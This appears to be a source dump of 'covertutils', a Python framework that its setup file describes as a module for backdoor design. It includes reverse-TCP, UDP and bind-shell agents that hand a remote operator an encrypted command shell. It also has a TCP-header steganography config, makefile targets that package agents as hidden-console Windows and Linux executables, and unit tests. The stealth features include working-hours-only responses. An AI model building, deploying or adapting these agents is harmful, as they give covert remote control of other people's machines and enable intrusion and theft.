out_length = 20, 6 | in_length = 20, 7 | reverse = True, # <------- 8 | ) 9 | 10 | import socket 11 | 12 | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # To make the port immediately available after killing - gimmick 14 | s.bind( ("0.0.0.0", 1234) ) 15 | s.listen(5) 16 | 17 | client, client_addr = s.accept() 18 | 19 | 20 | def recv () : # Create wrappers for networking 21 | return client.recv( 20 ) 22 | 23 | def send( raw ) : # Create wrappers for networking 24 | return client.sendall( raw ) 25 | 26 | 27 | from covertutils.handlers import BaseHandler 28 | 29 | class MyHandler_Handler( BaseHandler ) : 30 | """ This class tries hard to be self-explanatory """ 31 | 32 | def __init__(self, recv, send, orch, **kw) : 33 | super( MyHandler_Handler, self ).__init__( recv, send, orch, **kw ) 34 | print ( "[!] Handler with Orchestrator ID: '{}' started!".format( orch.getIdentity() ) ) 35 | print() 36 | 37 | 38 | def onMessage( self, stream, message ) : 39 | print ( "[+] Message arrived!" ) 40 | print ( "{} -> {}".format(stream, message) ) 41 | print ( "[<] Original Message {}".format(message[::-1]) ) # <------- 42 | 43 | def onChunk( self, stream, message ) : 44 | print ( "[+] Chunk arrived for stream '{}' !".format(stream) ) 45 | if message : 46 | print ("[*] Message assembled. onMessage() will be called next!") 47 | print() 48 | 49 | def onNotRecognised(self) : 50 | print ("[-] Got some Gibberish") 51 | print ("Initialized the Orchestrator with wrong passphrase?") 52 | print() 53 | 54 | 55 | handler_obj = MyHandler_Handler(recv, send, orch_obj) 56 | 57 | try: input = raw_input # Python 2/3 nonsense 58 | except NameError: pass # (fuck my life) 59 | 60 | while True : 61 | inp = input("~~~> ") 62 | if inp : 63 | handler_obj.preferred_send( inp ) 64 | -------------------------------------------------------------------------------- /examples/pozzo_n_lucky/stego_config.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | K:_data_:_data_ # Source IP 4 | L:_data_:_data_ # Destination IP 5 | 6 | M:_data_:_data_ # Source Port 7 | N:_data_:_data_ # Destination Port 8 | 9 | R:_data_:_data_ # Sequence Number 10 | P:_data_:_data_ # Acknowledge Number 11 | 12 | Q:_data_:_data_ # IP Identification Field 13 | W:_data_:_data_ # TCP flags 14 | 15 | ip_tcp_syn=''' 16 | 45000014QQQQ000040007aeaKKKKKKKKLLLLLLLL # IP header 17 | MMMMNNNNRRRRRRRRPPPPPPPP50WW200000000000 # TCP header 18 | ''' 19 | -------------------------------------------------------------------------------- /examples/tcp_bind_agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.handlers.impl import StandardShellHandler 3 | from covertutils.orchestration import SimpleOrchestrator 4 | 5 | import sys 6 | import socket 7 | from time import sleep 8 | 9 | passphrase = "Pa55phra531" 10 | addr = "0.0.0.0", int(sys.argv[1]) 11 | 12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 13 | s.bind( addr ) # Handling Networking 14 | s.listen(5) # independently of covertutils 15 | 16 | while True : # Make it listen `hard` 17 | client, client_addr = s.accept() # Blocking the main thread 18 | 19 | def recv () : # Create wrappers for networking 20 | return client.recv( 50 ) 21 | 22 | def send( raw ) : # Create wrappers for networking 23 | return client.send( raw ) 24 | 25 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 ) 26 | handler = StandardShellHandler( recv, send, orch ) # Create the Handler Daemon Thread 27 | -------------------------------------------------------------------------------- /examples/tcp_bind_handler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.handlers import BaseHandler 3 | from covertutils.orchestration import SimpleOrchestrator 4 | from covertutils.shells.impl import StandardShell 5 | 6 | import sys 7 | import socket 8 | from time import sleep 9 | 10 | try : 11 | program, ip, port, passphrase = sys.argv 12 | except : 13 | print( """Usage: 14 | %s """ % sys.argv[0] ) 15 | sys.exit(1) 16 | 17 | client_addr = ip, int(port) 18 | 19 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 ) 20 | 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.connect( client_addr ) 23 | 24 | def recv () : 25 | return s.recv(50) 26 | 27 | def send( raw ) : 28 | return s.send( raw ) 29 | 30 | 31 | class MyHandler( BaseHandler ) : 32 | 33 | def onChunk( self, stream, message ) : 34 | pass 35 | 36 | def onMessage( self, stream, message ) : 37 | # The PrintShell class will automatically handle the response (print it to the user) 38 | pass 39 | 40 | def onNotRecognised( self ) : 41 | print( "Got Garbage!" ) 42 | 43 | handler = MyHandler( recv, send, orch ) 44 | 45 | shell = StandardShell(handler, prompt = "(%s:%d)> " % client_addr ) 46 | shell.start() 47 | -------------------------------------------------------------------------------- /examples/tcp_reverse_agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.handlers.impl import ExtendableShellHandler 3 | from covertutils.orchestration import SimpleOrchestrator 4 | 5 | import sys 6 | import socket 7 | from time import sleep 8 | 9 | passphrase = "Pa55phra531" 10 | addr = sys.argv[1], int(sys.argv[2]) 11 | delay = int( sys.argv[3] ) 12 | 13 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | 15 | closed = True 16 | 17 | while True : 18 | 19 | if closed : 20 | try : 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.connect( addr ) 23 | closed = False 24 | except Exception as e: 25 | sleep( delay ) 26 | continue 27 | 28 | def recv () : 29 | global closed 30 | try : 31 | ret = s.recv(50) 32 | if ret == '' : # in empty string socket is closed 33 | closed = True 34 | s.close() 35 | except : 36 | closed = True 37 | return '' 38 | # print( "Connection Terminated" ) 39 | # ret = 'X' 40 | return ret 41 | 42 | 43 | def send( raw ) : 44 | return s.send( raw ) 45 | 46 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True ) 47 | handler = ExtendableShellHandler( recv, send, orch ) # Create the Handler Daemon Thread 48 | 49 | while not closed : sleep(1) 50 | -------------------------------------------------------------------------------- /examples/tcp_reverse_handler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.shells.impl import ExtendableShell 3 | from covertutils.handlers import BaseHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | 7 | 8 | import sys 9 | import socket 10 | from time import sleep 11 | 12 | try : 13 | program, port, passphrase = sys.argv 14 | except : 15 | print( """Usage: 16 | %s """ % sys.argv[0] ) 17 | sys.exit(1) 18 | 19 | addr = '0.0.0.0', int(port) 20 | 21 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50 ) 22 | 23 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 24 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 25 | s.bind( addr ) # Handling Networking 26 | s.listen(5) # independently of covertutils 27 | 28 | print( "Accepting" ) 29 | client, client_addr = s.accept() # Blocking the main thread 30 | print( "Accepted" ) 31 | 32 | def recv () : # Create wrappers for networking 33 | return client.recv( 50 ) 34 | 35 | def send( raw ) : # Create wrappers for networking 36 | return client.send( raw ) 37 | 38 | 39 | class MyHandler( BaseHandler ) : 40 | 41 | def onChunk( self, stream, message ) : 42 | pass 43 | 44 | def onMessage( self, stream, message ) : 45 | # print( message ) 46 | pass 47 | 48 | def onNotRecognised( self ) : 49 | print( "Got Garbage!" ) 50 | global s 51 | s.close() 52 | 53 | handler = MyHandler( recv, send, orch ) 54 | shell = ExtendableShell(handler, prompt = "(%s:%d)> " % client_addr, debug = True ) 55 | 56 | shell.start() 57 | -------------------------------------------------------------------------------- /examples/udp_reverse_agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.handlers.impl import StandardShellHandler 3 | from covertutils.orchestration import SimpleOrchestrator 4 | 5 | import sys 6 | import socket 7 | from time import sleep 8 | 9 | from hashlib import sha512 10 | 11 | passphrase = "Pa55phra531" 12 | addr = sys.argv[1], int(sys.argv[2]) 13 | delay = int( sys.argv[3] ) 14 | 15 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | 17 | def recv () : # Create wrappers for networking 18 | return s.recvfrom( 50 )[0] 19 | 20 | def send( raw ) : # Create wrappers for networking 21 | return s.sendto( raw, addr ) 22 | 23 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 ) 24 | handler = StandardShellHandler( recv, send, orch ) # Create the Handler Daemon Thread 25 | 26 | while True : 27 | send( 'X' ) 28 | sleep( delay ) 29 | -------------------------------------------------------------------------------- /examples/udp_reverse_handler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from covertutils.handlers import BaseHandler 3 | from covertutils.orchestration import SimpleOrchestrator 4 | 5 | from covertutils.shells.impl import StandardShell 6 | 7 | import sys 8 | import socket 9 | from time import sleep 10 | 11 | from hashlib import sha512 12 | 13 | try : 14 | program, port, passphrase = sys.argv 15 | except : 16 | print( """Usage: 17 | %s """ % sys.argv[0] ) 18 | sys.exit(1) 19 | 20 | addr = '0.0.0.0', int(port) 21 | client_addr = None 22 | orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 ) 23 | 24 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # 25 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 26 | s.bind( addr ) # Handling Networking 27 | 28 | synchronized = False 29 | 30 | def recv () : # Create wrappers for networking 31 | global client_addr 32 | global synchronized 33 | addr = False 34 | while addr != client_addr : 35 | ret, addr = s.recvfrom( 50 ) 36 | if ret == 'X' : 37 | client_addr = addr 38 | synchronized = True 39 | 40 | return ret 41 | 42 | def send( raw ) : # Create wrappers for networking 43 | return s.sendto( raw, client_addr ) 44 | 45 | 46 | class MyHandler( BaseHandler ) : 47 | 48 | def onChunk( self, stream, message ) : pass 49 | def onNotRecognised( self ) : pass 50 | 51 | def onMessage( self, stream, message ) : 52 | # The PrintShell class will automatically handle the response (print it to the user) 53 | pass 54 | 55 | handler = MyHandler( recv, send, orch ) 56 | 57 | shell = StandardShell(handler, ) 58 | 59 | shell.start() 60 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | 2 | PY=$(which python) 3 | PY='python' 4 | 5 | clean : 6 | # find ./covertutils/ tests/ examples/ -name "*.pyc" -exec rm {} \; 7 | find . -name "*.pyc" -exec rm {} \; 8 | rm -r docs/_build/ __pycache__ 9 | 10 | test : 11 | clear;$(PY) -m unittest discover -v ./tests 12 | 13 | doc : 14 | # cd docs/; 15 | sphinx-apidoc ./covertutils/ -P -f -o docs/ 16 | cd docs/;make html 17 | 18 | 19 | see_doc : doc 20 | firefox $(PWD)/docs/_build/html/index.html & 21 | 22 | 23 | gh-pages : doc 24 | rm -rf gh-pages/* 25 | cp -rf docs/_build/html/* gh-pages/ 26 | git checkout gh-pages 27 | 28 | git add gh-pages/ 29 | git commit -m "Docs Update" gh-pages 30 | git push -f gh-pages 31 | 32 | git checkout master 33 | 34 | 35 | coverage : 36 | -coverage run --source=covertutils/ -m unittest discover -s tests/ 37 | coverage html 38 | firefox htmlcov/index.html 39 | 40 | 41 | cov-badge : 42 | -coverage run --source=covertutils/ -m unittest discover -s tests/ 43 | coverage-badge -o cov-badge.svg 44 | 45 | 46 | run : 47 | PYTHONPATH=".:${PYTHONPATH}" ${EX} 48 | 49 | 50 | compile : 51 | cython ${PY} --embed -o cythoned.c 52 | gcc cythoned.c -lpython2.7 -I "/usr/include/python2.7" -o ${EX} -ldl 53 | rm cythoned.c 54 | 55 | 56 | elf : 57 | # --exclude-module 'Tkinter, numpy, curses, tcl, pywin' 58 | pyinstaller --onefile --noconsole --hidden-import 'covertutils' -n ${EX} ${PY} 59 | mv dist/${EX} . 60 | rm -r build/ 61 | rm ${EX}.spec 62 | 63 | exe : 64 | # , covertutils.payloads.linux.shellcode' 65 | wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe\ 66 | --onefile --noconsole\ 67 | --hidden-import 'covertutils'\ 68 | --hidden-import 'covertutils.payloads'\ 69 | --hidden-import 'covertutils.payloads.linux'\ 70 | --hidden-import 'covertutils.payloads.linux.shellcode'\ 71 | --exclude-module 'Tkinter, numpy, curses, tcl, pywin, urllib, urllib2, xml, unittest, _gtkagg, _tkagg' -n ${EX} ${PY} 72 | mv dist/${EX} . 73 | rm -r build/ 74 | rm ${EX}.spec 75 | 76 | 77 | publish : 78 | python setup.py sdist build 79 | twine upload dist/* 80 | 81 | 82 | 83 | nui_elf : 84 | nuitka --standalone --remove-output ${PY} 85 | # wine /home/unused/.wine/drive_c/Python27/python.exe /home/unused/.wine/drive_c/Python27/Scripts/nuitka --standalone --remove-output ${PY} 86 | 87 | 88 | pack : 89 | -rm -r target 90 | -rm target.pyz 91 | mkdir target 92 | cp -r covertutils target/ 93 | cat ${PY} >> target/covertutils/__init__.py 94 | # cat ${PY} >> target/covertutils/main.py 95 | # zip -r -9 target.pyz target 96 | cd target && zip -r -9 -q target.pyz covertutils 97 | mv target/target.pyz . 98 | # cd .. 99 | # cp ${PY} main.py 100 | # touch __init__.py 101 | # zip -9 -u target.pyz main.py __init__.py 102 | # rm -r target 103 | -------------------------------------------------------------------------------- /manual_testbed.py: -------------------------------------------------------------------------------- 1 | from covertutils.handlers.impl import SimpleShellHandler, ExtendableShellHandler 2 | from covertutils.handlers import FunctionDictHandler, BaseHandler, StageableHandler 3 | 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | from covertutils.shells import BaseShell 7 | from covertutils.shells.impl import ExtendableShell 8 | 9 | from os import urandom 10 | from time import sleep 11 | import re 12 | 13 | out_length = 20 14 | in_length = 20 15 | 16 | 17 | orch1 = SimpleOrchestrator( "passphrase", 18 | 2, out_length, in_length, 19 | # streams = ['main', 'shellcode', 'python'] 20 | ) 21 | 22 | 23 | orch2 = SimpleOrchestrator( "passphrase", 24 | 2, out_length, in_length, 25 | reverse = True, 26 | # streams = ['main', 'shellcode', 'python'], 27 | ) 28 | 29 | toAgent = [] 30 | toHandler = [] 31 | 32 | def dummy_receive1( ) : 33 | while not toAgent : 34 | sleep(0.01) 35 | # print( "Receiving" ) 36 | return toAgent.pop(0) 37 | 38 | def dummy_send1( raw ) : 39 | toHandler.append(raw) 40 | 41 | 42 | 43 | def dummy_receive2( ) : 44 | while not toHandler : 45 | sleep(0.01) 46 | # print( "Receiving" ) 47 | return toHandler.pop(0) 48 | 49 | def dummy_send2( raw ) : 50 | toAgent.append(raw) 51 | 52 | 53 | chunks_sent = 0 54 | chunks_received = 0 55 | 56 | agent = ExtendableShellHandler( dummy_receive1, dummy_send1, orch1 ) 57 | 58 | 59 | 60 | class MyHandler (BaseHandler) : 61 | 62 | def onMessage(self, stream, message) : 63 | # global chunks_sent 64 | # print( "Handler: Chunks Received: %d" % chunks_sent ) 65 | chunks_sent = 0 66 | # print( message ) 67 | pass 68 | def onChunk(self, stream, message) : 69 | # global chunks_sent 70 | # if chunks_sent == 0 : 71 | # print 72 | # chunks_sent += 1logname 73 | # print( "Handler: " ) 74 | pass 75 | def onNotRecognised(self, stream, message) : 76 | # print( "Handler: " ) 77 | pass 78 | 79 | 80 | 81 | 82 | 83 | 84 | handler = MyHandler( dummy_receive2, dummy_send2, orch2 ) 85 | 86 | # shell = ExtendableShell(handler, output = '/tmp/covertutils_out') 87 | # shell = ExtendableShell(handler, output='/tmp/covertutils_session1') 88 | shell = ExtendableShell(handler, output=True) 89 | 90 | shell.start( False ) 91 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | entropy 2 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # from distutils.core import setup 2 | from setuptools import setup, find_packages 3 | 4 | import covertutils 5 | 6 | import unittest 7 | 8 | 9 | def my_test_suite(): 10 | test_loader = unittest.TestLoader() 11 | test_suite = test_loader.discover('tests', pattern='test_*.py') 12 | return test_suite 13 | 14 | setup(name=covertutils.__name__, 15 | version=covertutils.__version__, 16 | description='Module for backdoor design and implementation.', 17 | url=covertutils.__github__, 18 | author=covertutils.__author__, 19 | author_email=covertutils.__email__, 20 | license='MIT', 21 | packages=find_packages(exclude=["*.tests", "*.tests.*", "tests.*", "tests"]), 22 | keywords = ['crypto', 'covert', 'backdoor', 'shell'] 23 | # zip_safe=False, 24 | # tests_require=['entropy', 25 | # 'pytest==2.9.2' 26 | # ], 27 | # test_suite = 'setup.my_test_suite' 28 | ) 29 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/tests/__init__.py -------------------------------------------------------------------------------- /tests/test_CommandFetcherHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers import BaseHandler, ResponseOnlyHandler, InterrogatingHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | from os import urandom 7 | from time import sleep 8 | from hashlib import sha512 9 | import re 10 | 11 | 12 | out_length = 50 13 | in_length = 40 14 | 15 | passp = "passphrase" 16 | 17 | orch1 = SimpleOrchestrator( passp, 18 | 2, out_length, in_length, 19 | cycling_algorithm = sha512) 20 | 21 | orch2 = SimpleOrchestrator( passp, 22 | 2, out_length, in_length, 23 | cycling_algorithm = sha512, reverse = True) 24 | 25 | 26 | recvd1 = [] 27 | def dummy_receive1( ) : 28 | while not recvd1 : 29 | sleep(0.0001) 30 | return recvd1.pop(0) 31 | 32 | def dummy_send1( raw ) : 33 | recvd1.append( raw ) 34 | 35 | 36 | recvd2 = [] 37 | def dummy_receive2( ) : 38 | while not recvd2 : 39 | sleep(0.0001) 40 | return recvd2.pop(0) 41 | 42 | def dummy_send2( raw ) : 43 | recvd2.append( raw ) 44 | 45 | testable = False 46 | 47 | 48 | class CustomInterrogatingHandler( InterrogatingHandler ) : 49 | 50 | def onChunk( self, stream, message ) : pass 51 | def onNotRecognised( self ) : pass 52 | 53 | def onMessage( self, stream, message ) : 54 | global testable 55 | testable = message 56 | 57 | 58 | class CustomRespOnlyHandler( ResponseOnlyHandler ) : 59 | 60 | def onChunk( self, stream, message ) : pass 61 | def onNotRecognised( self ) : pass 62 | 63 | 64 | 65 | 66 | class Test_InterrogatingHandler( unittest.TestCase ) : 67 | 68 | 69 | def setUp( self ) : 70 | self.p_handler = CustomInterrogatingHandler( dummy_receive1, dummy_send2, orch2 , req_data = 'X', delay_between = (0, 0.01), fetch_stream = 'control' ) 71 | self.test_handler = CustomRespOnlyHandler( dummy_receive2, dummy_send1, orch1 , req_data = 'X' ) 72 | 73 | 74 | 75 | def test_functionality( self, n = 10, l = 10 ) : 76 | 77 | global testable 78 | for i in range(n) : 79 | message = urandom(l) 80 | self.test_handler.queueSend( message, 'control' ) 81 | 82 | sleep(0.03) 83 | self.assertTrue( testable == message ) 84 | testable = False 85 | -------------------------------------------------------------------------------- /tests/test_Compressor.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from os import urandom 4 | from random import randint, choice 5 | from covertutils.datamanipulation import Compressor 6 | import string 7 | 8 | random_bytes = urandom(64) 9 | letters = string.ascii_letters 10 | 11 | 12 | class Test_Compressor( unittest.TestCase ) : 13 | 14 | def setUp( self ) : 15 | self.compressor = Compressor() 16 | 17 | 18 | def test_consistency( self, n = 1, byte_len = 100 ) : 19 | for i in range( 0, n ) : 20 | plain = urandom( byte_len ) 21 | zipped = self.compressor.compress( plain ) 22 | 23 | dezip = self.compressor.decompress( zipped ) 24 | self.assertTrue( plain == dezip ) 25 | 26 | 27 | def test_feasibility ( self, n = 100, byte_len = 100 ): 28 | 29 | for i in range( 0, n ) : 30 | # plain = urandom( byte_len ) 31 | plain = '' 32 | for i in range( byte_len ) : 33 | if i % 2 : 34 | plain += choice(random_bytes) 35 | else : 36 | plain += choice(letters) 37 | 38 | zipped = self.compressor.compress( plain ) 39 | # print '%d / %d (ratio %f)' % (len(zipped), len(plain), float(len(zipped)) / len(plain)) 40 | self.assertTrue( len(zipped) <= len(plain) ) 41 | -------------------------------------------------------------------------------- /tests/test_CyclingAlgorithm.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | 4 | from covertutils.crypto.algorithms import * 5 | 6 | from os import urandom 7 | from random import randint 8 | from entropy import shannon_entropy as entr 9 | 10 | class TestCyclingAlgorithm(unittest.TestCase): 11 | 12 | 13 | def setUp( self, ) : 14 | 15 | self.char = 'a' 16 | self.entropy_floor = 0.5 17 | 18 | 19 | def test_entropy( self ) : 20 | h = StandardCyclingAlgorithm( urandom(16) ).digest() 21 | e = entr(str(h)) 22 | print( "Entropy Level: %f" % e ) 23 | self.assertTrue( e > self.entropy_floor) 24 | 25 | 26 | def test_consistency( self, n = 20 ) : 27 | for i in range(n) : 28 | x = urandom(16) 29 | h1 = StandardCyclingAlgorithm( x ).digest() 30 | h2 = StandardCyclingAlgorithm( x ).digest() 31 | self.assertTrue( h1 == h2 ) 32 | 33 | 34 | def test_sizes( self, n = 10 ) : 35 | 36 | for i in range(1, n) : 37 | l = randint(1, n) 38 | x = urandom(l) 39 | h1 = StandardCyclingAlgorithm( x, length = i ).digest() 40 | # print( "Length: %d, expected Output: %d. Output: %d" % (l, i, len(h1)) ) 41 | self.assertTrue( len(h1) == i ) 42 | -------------------------------------------------------------------------------- /tests/test_DataTransformer.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.datamanipulation import DataTransformer 4 | 5 | from random import randint 6 | 7 | from struct import pack 8 | 9 | class Test_DataTransformer(unittest.TestCase) : 10 | 11 | configuration = [( ('simple:X','simple:X'),('!H','!H'), '_data_+1' )] 12 | 13 | stego_conf = """ 14 | X:_data_: 15 | 16 | simple='''41420000XXXX''' 17 | 18 | """ 19 | 20 | def setUp( self ) : 21 | self.trans = DataTransformer( self.stego_conf, self.configuration ) 22 | 23 | 24 | def test_transformation (self) : 25 | data = 'AB\x00\x00CD' 26 | data2 = self.trans.runAll( data, 'simple' ) 27 | alt_part = data2.encode('hex')[-4:] 28 | print( data2.encode('hex') ) 29 | self.assertTrue( alt_part == '4345') # added 1 to 4344 30 | -------------------------------------------------------------------------------- /tests/test_DateableHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers import DateableHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | import datetime 7 | from time import sleep 8 | from pprint import pprint 9 | 10 | out_length = 4 11 | in_length = 4 12 | 13 | 14 | orch1 = SimpleOrchestrator( "passphrase", 15 | 2, out_length, in_length, 16 | # cycling_algorithm = sha512 17 | ) 18 | 19 | chunks = [] 20 | def dummy_receive( ) : 21 | while not chunks : 22 | sleep(0.1) 23 | # print "Receiving" 24 | return chunks.pop(0) 25 | 26 | 27 | testable = None 28 | 29 | def dummy_send( raw ) : 30 | global testable 31 | # print "sending!" 32 | stream, message = orch1.depositChunk( raw ) 33 | if message : 34 | testable = message 35 | 36 | 37 | class MyTestHandler(DateableHandler) : 38 | 39 | def onMessage(self, stream, message) : pass 40 | def onChunk(self, stream, message) : pass 41 | def onNotRecognised(self, stream, message) : pass 42 | 43 | 44 | class Test_DateableHandler( unittest.TestCase ) : 45 | 46 | 47 | def setUp(self) : 48 | self.handler = MyTestHandler( dummy_receive, dummy_send, orch1, workinghours = ( (8,30), (16,30) ) ) 49 | pprint( self.handler.dates ) 50 | 51 | 52 | def testHoliday(self) : 53 | ny_Eve = datetime.datetime(2017, 1,1, 9, 10) 54 | print( ny_Eve ) 55 | self.assertTrue( self.handler.mustNotRespond( ny_Eve ) ) 56 | 57 | christmas = datetime.datetime(2017, 12, 25, 9, 10) 58 | print( christmas ) 59 | self.assertTrue( self.handler.mustNotRespond( christmas ) ) 60 | 61 | anyday = datetime.datetime(2017, 8, 7, 9, 10) 62 | self.assertTrue( not self.handler.mustNotRespond( anyday ) ) 63 | 64 | 65 | # def testEaster(self) : 66 | # 67 | # easter = calc_easter(datetime.datetime.now().year) 68 | # 69 | # hols = [easter.days-1, easter.days-2, easter.days, easter.days+1, easter.days+2] 70 | # no_hols = [easter.days-3, easter.days-4, easter.days+4, easter.days+3, easter.days+5] 71 | # 72 | # # for hol in hols : 73 | # # d = calc_easter(datetime.datetime.now().year) 74 | # # d.day = hol 75 | 76 | def testWorkingHours(self) : 77 | 78 | anyday = datetime.datetime(2017, 5,1, 7, 10) 79 | print( anyday ) 80 | self.assertTrue( self.handler.mustNotRespond( anyday ) ) 81 | 82 | anyday = datetime.datetime(2017, 5,1, 20, 10) 83 | print( anyday ) 84 | self.assertTrue( self.handler.mustNotRespond( anyday ) ) 85 | 86 | anyday = datetime.datetime(2017, 5,1, 13, 10) # Not a weekend 87 | print( anyday ) 88 | self.assertTrue( not self.handler.mustNotRespond( anyday ) ) 89 | -------------------------------------------------------------------------------- /tests/test_FuncDictHandler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers.impl import SimpleShellHandler 4 | from covertutils.handlers import FunctionDictHandler 5 | from covertutils.orchestration import SimpleOrchestrator 6 | from covertutils.payloads import GenericStages 7 | 8 | from os import urandom 9 | from time import sleep 10 | from hashlib import sha512 11 | import re 12 | out_length = 100 13 | in_length = 100 14 | 15 | 16 | orch1 = SimpleOrchestrator( "passphrase", 17 | 2, out_length, in_length, 18 | streams = ['main'] 19 | # cycling_algorithm = sha512 20 | ) 21 | 22 | orch2 = SimpleOrchestrator( "passphrase", 23 | 2, out_length, in_length, 24 | # cycling_algorithm = sha512, 25 | streams = ['main'], 26 | reverse = True) 27 | 28 | chunks = [] 29 | def dummy_receive( ) : 30 | while not chunks : 31 | sleep(0.1) 32 | 33 | print( "Receiving" ) 34 | return chunks.pop(0) 35 | 36 | 37 | testable = None 38 | 39 | def dummy_send( raw ) : 40 | global testable 41 | print( "sending!" ) 42 | stream, message = orch1.depositChunk( raw ) 43 | print( "Sent" ) 44 | if message : 45 | testable = message 46 | 47 | 48 | class AgentHandler( FunctionDictHandler ) : 49 | 50 | 51 | def onMessage( self, stream, message ) : 52 | ret = super(AgentHandler, self).onMessage( stream, message ) 53 | print( "Got: " + ret ) 54 | self.preferred_send( ret, 'main' ) 55 | 56 | 57 | class Test_FunctionDictHandler (unittest.TestCase) : 58 | 59 | def setUp( self ) : 60 | pls = { 61 | 'control' : GenericStages['shellprocess']['marshal'], 62 | 'main' : GenericStages['shellprocess']['marshal'], 63 | } 64 | self.p_handler = AgentHandler( dummy_receive, dummy_send, orch2, function_dict = pls ) 65 | print( self.p_handler.getOrchestrator().getStreams() ) 66 | 67 | def test_shell_usage( self, ) : 68 | echoed = '111111111111' 69 | chunk = orch1.readyMessage( "echo '%s' " % echoed, 'control' ) 70 | 71 | chunks.extend( chunk ) 72 | 73 | # sleep(0.9) 74 | # print( '=======================================================' ) 75 | # print( testable ) 76 | while not testable : sleep(0.5) 77 | # sleep(1) 78 | print( chunks ) 79 | self.assertTrue( testable.strip() == echoed ) 80 | -------------------------------------------------------------------------------- /tests/test_Pivot.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from covertutils.handlers import BaseHandler, BufferingHandler 4 | from covertutils.orchestration import SimpleOrchestrator 5 | 6 | from covertutils.bridges import SimpleBridge 7 | 8 | from os import urandom 9 | from time import sleep 10 | from hashlib import sha512 11 | import re 12 | 13 | 14 | 15 | out_length = 50 16 | in_length = 40 17 | 18 | passp1 = "passphrase" 19 | passp2 = "passphrase2" 20 | 21 | orch1 = SimpleOrchestrator( passp1, 22 | 2, out_length, in_length, 23 | cycling_algorithm = sha512) 24 | 25 | orch2 = SimpleOrchestrator( passp1, 26 | 2, out_length, in_length, 27 | cycling_algorithm = sha512, reverse = True) 28 | 29 | orch3 = SimpleOrchestrator( passp2, 30 | 2, out_length, in_length, 31 | cycling_algorithm = sha512) 32 | 33 | orch4 = SimpleOrchestrator( passp2, 34 | 2, out_length, in_length, 35 | cycling_algorithm = sha512, reverse = True) 36 | 37 | 38 | recvd1 = [] 39 | def dummy_receive1( ) : 40 | while not recvd1 : 41 | sleep(0.0001) 42 | return recvd1.pop(0) 43 | 44 | def dummy_send1( raw ) : 45 | recvd1.append( raw ) 46 | 47 | 48 | recvd2 = [] 49 | def dummy_receive2( ) : 50 | while not recvd2 : 51 | sleep(0.0001) 52 | return recvd2.pop(0) 53 | 54 | def dummy_send2( raw ) : 55 | recvd2.append( raw ) 56 | 57 | 58 | recvd3 = [] 59 | def dummy_receive3( ) : 60 | while not recvd3 : 61 | sleep(0.0001) 62 | return recvd3.pop(0) 63 | 64 | def dummy_send3( raw ) : 65 | recvd3.append( raw ) 66 | 67 | 68 | recvd4 = [] 69 | def dummy_receive4( ) : 70 | while not recvd4 : 71 | sleep(0.0001) 72 | return recvd4.pop(0) 73 | 74 | def dummy_send4( raw ) : 75 | recvd4.append( raw ) 76 | 77 | end = False 78 | start = False 79 | 80 | 81 | class EndHandler( BaseHandler ) : 82 | 83 | def onChunk( self, stream, message ) : pass 84 | def onNotRecognised( self ) : pass 85 | def onMessage( self, stream, message ) : 86 | global end 87 | end = message 88 | # print( "%s : (%s: %s)" % ( "End", stream, message ) ) 89 | self.sendAdHoc( message, stream ) # echo the input back 90 | 91 | 92 | class StartHandler( BaseHandler ) : 93 | 94 | def onChunk( self, stream, message ) : pass 95 | def onNotRecognised( self ) : pass 96 | def onMessage( self, stream, message ) : 97 | global start 98 | start = message 99 | # print( "%s : (%s: %s)" % ( "Start", stream, message ) ) 100 | 101 | 102 | class IntermediateHandler( BufferingHandler ) : 103 